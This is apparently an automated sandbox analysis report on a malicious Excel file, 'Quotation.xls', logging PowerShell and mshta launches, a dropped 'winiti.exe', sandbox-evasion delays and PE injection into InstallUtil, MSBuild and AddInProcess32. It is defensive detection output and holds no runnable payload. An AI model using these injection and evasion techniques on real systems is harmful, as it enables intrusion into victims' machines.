Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: Quotation.xls	Stream path 'MBD00034653/Package' entropy: 7.97239388977 (max. 8.0)
Source: Quotation.xls	Stream path 'Workbook' entropy: 7.99932524718 (max. 8.0)
Source: ~DF91B6A489623540E3.TMP.0.dr	Stream path 'Package' entropy: 7.96792988005 (max. 8.0)
Source: 37330000.0.dr	Stream path 'MBD00034653/Package' entropy: 7.96792988005 (max. 8.0)
Source: 37330000.0.dr	Stream path 'Workbook' entropy: 7.99939991039 (max. 8.0)

Malware Analysis System Evasion

Delayed program exit found

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Code function: 25_2_0040F7A7 Sleep,ExitProcess,

25_2_0040F7A7

Source: C:\Users\user\AppData\Roaming\winiti.exe	Memory allocated: E0000 memory reserve \| memory write watch			Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe	Memory allocated: 70000 memory reserve \| memory write watch			Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Code function: OpenSCManagerA,EnumServicesStatusW,GetLastError,EnumServicesStatusW,OpenServiceW,QueryServiceConfigW,GetLastError,QueryServiceConfigW,CloseServiceHandle,CloseServiceHandle,

25_2_0041A748

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3077	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6875	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Window / User API: threadDelayed 9838	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2777
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1339

Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\ofvwqfjd\ofvwqfjd.dll			Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\ge3s1wmx\ge3s1wmx.dll			Jump to dropped file

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

API coverage: 7.2 %

Source: C:\Windows\System32\mshta.exe TID: 3316	Thread sleep time: -120000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3440	Thread sleep count: 3077 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3440	Thread sleep count: 6875 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3488	Thread sleep time: -120000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3496	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 3720	Thread sleep count: 149 > 30	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 3720	Thread sleep time: -447000s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 3768	Thread sleep time: -240000s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 3720	Thread sleep count: 9838 > 30	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 3720	Thread sleep time: -29514000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\mshta.exe TID: 3848	Thread sleep time: -60000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3968	Thread sleep count: 2777 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3972	Thread sleep count: 1339 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4008	Thread sleep time: -180000s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4012	Thread sleep time: -2767011611056431s >= -30000s

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 25_2_00409253 __EH_prolog,__CxxThrowException@8,FindFirstFileW,FindNextFileW,FindClose,FindClose,	25_2_00409253
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 25_2_0041C291 FindFirstFileW,FindNextFileW,RemoveDirectoryW,SetFileAttributesW,DeleteFileW,GetLastError,FindClose,RemoveDirectoryW,FindClose,	25_2_0041C291
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 25_2_0040C34D FindFirstFileW,PathFileExistsW,FindNextFileW,FindClose,FindClose,	25_2_0040C34D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 25_2_00409665 __EH_prolog,FindFirstFileW,FindNextFileW,FindClose,FindClose,	25_2_00409665
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 25_2_0044E879 FindFirstFileExA,	25_2_0044E879
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 25_2_0040880C __EH_prolog,FindFirstFileW,__CxxThrowException@8,FindNextFileW,FindClose,	25_2_0040880C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 25_2_0040783C FindFirstFileW,FindNextFileW,	25_2_0040783C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 25_2_00419AF5 FindFirstFileW,FindNextFileW,FindNextFileW,	25_2_00419AF5
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 25_2_0040BB30 FindFirstFileA,FindClose,DeleteFileA,GetLastError,DeleteFileA,GetLastError,FindNextFileA,FindClose,	25_2_0040BB30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 25_2_0040BD37 FindFirstFileA,FindClose,DeleteFileA,GetLastError,FindNextFileA,FindClose,FindClose,	25_2_0040BD37

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Code function: 25_2_00407C97 SetEvent,GetFileAttributesW,DeleteFileW,ShellExecuteW,GetLogicalDriveStringsA,SetFileAttributesW,DeleteFileA,Sleep,StrToIntA,CreateDirectoryW,

25_2_00407C97

Source: C:\Users\user\AppData\Roaming\winiti.exe

Code function: 11_2_000000013FDE26B0 GetSystemInfo,GetNumaHighestNodeNumber,GetCurrentProcess,GetProcessGroupAffinity,GetLastError,GetCurrentProcess,GetProcessAffinityMask,

11_2_000000013FDE26B0

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: winiti.exe, 0000000B.00000002.451651795.000000013FF6B000.00000002.00000001.01000000.0000000B.sdmp, winiti.exe, 0000000B.00000000.447217263.000000013FF6B000.00000002.00000001.01000000.0000000B.sdmp, winiti.exe, 0000000B.00000002.451807346.0000000143000000.00000004.00001000.00020000.00000000.sdmp, winiti.exe, 00000016.00000002.484524464.0000000142800000.00000004.00001000.00020000.00000000.sdmp, winiti.exe, 00000016.00000002.484302621.000000013F78B000.00000002.00000001.01000000.0000000B.sdmp, winiti.exe, 00000016.00000000.481803220.000000013F78B000.00000002.00000001.01000000.0000000B.sdmp, winiti.exe.7.dr, csrss[1].exe.7.dr

Binary or memory string: qEMutating a value collection derived from a dictionary is not allowed.Y

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Code function: 25_2_004349F9 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

25_2_004349F9

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

25_2_0041CB50

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Code function: 25_2_004432B5 mov eax, dword ptr fs:[00000030h]

25_2_004432B5

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Code function: 25_2_00412077 GetProcessHeap,HeapFree,

25_2_00412077

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug

Source: C:\Users\user\AppData\Roaming\winiti.exe	Code function: 11_2_000000013FDD5760 RtlAddVectoredExceptionHandler,	11_2_000000013FDD5760
Source: C:\Users\user\AppData\Roaming\winiti.exe	Code function: 11_2_000000013FE39A88 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	11_2_000000013FE39A88
Source: C:\Users\user\AppData\Roaming\winiti.exe	Code function: 22_2_000000013F5F5760 RtlAddVectoredExceptionHandler,	22_2_000000013F5F5760
Source: C:\Users\user\AppData\Roaming\winiti.exe	Code function: 22_2_000000013F659A88 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	22_2_000000013F659A88
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 25_2_00434B47 SetUnhandledExceptionFilter,	25_2_00434B47
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 25_2_004349F9 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	25_2_004349F9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 25_2_0043BB22 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	25_2_0043BB22
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 25_2_00434FDC SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	25_2_00434FDC

HIPS / PFW / Operating System Protection Evasion

Allocates memory in foreign processes

Source: C:\Users\user\AppData\Roaming\winiti.exe	Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 400000 protect: page execute and read and write	Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe	Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 400000 protect: page execute and read and write	Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe	Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 400000 protect: page execute and read and write	Jump to behavior

Injects a PE file into a foreign processes

Source: C:\Users\user\AppData\Roaming\winiti.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 400000 value starts with: 4D5A	Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 400000 value starts with: 4D5A	Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 400000 value starts with: 4D5A	Jump to behavior

Writes to foreign memory regions

Source: C:\Users\user\AppData\Roaming\winiti.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 400000	Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 401000	Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 459000	Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 471000	Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 477000	Jump to behavior
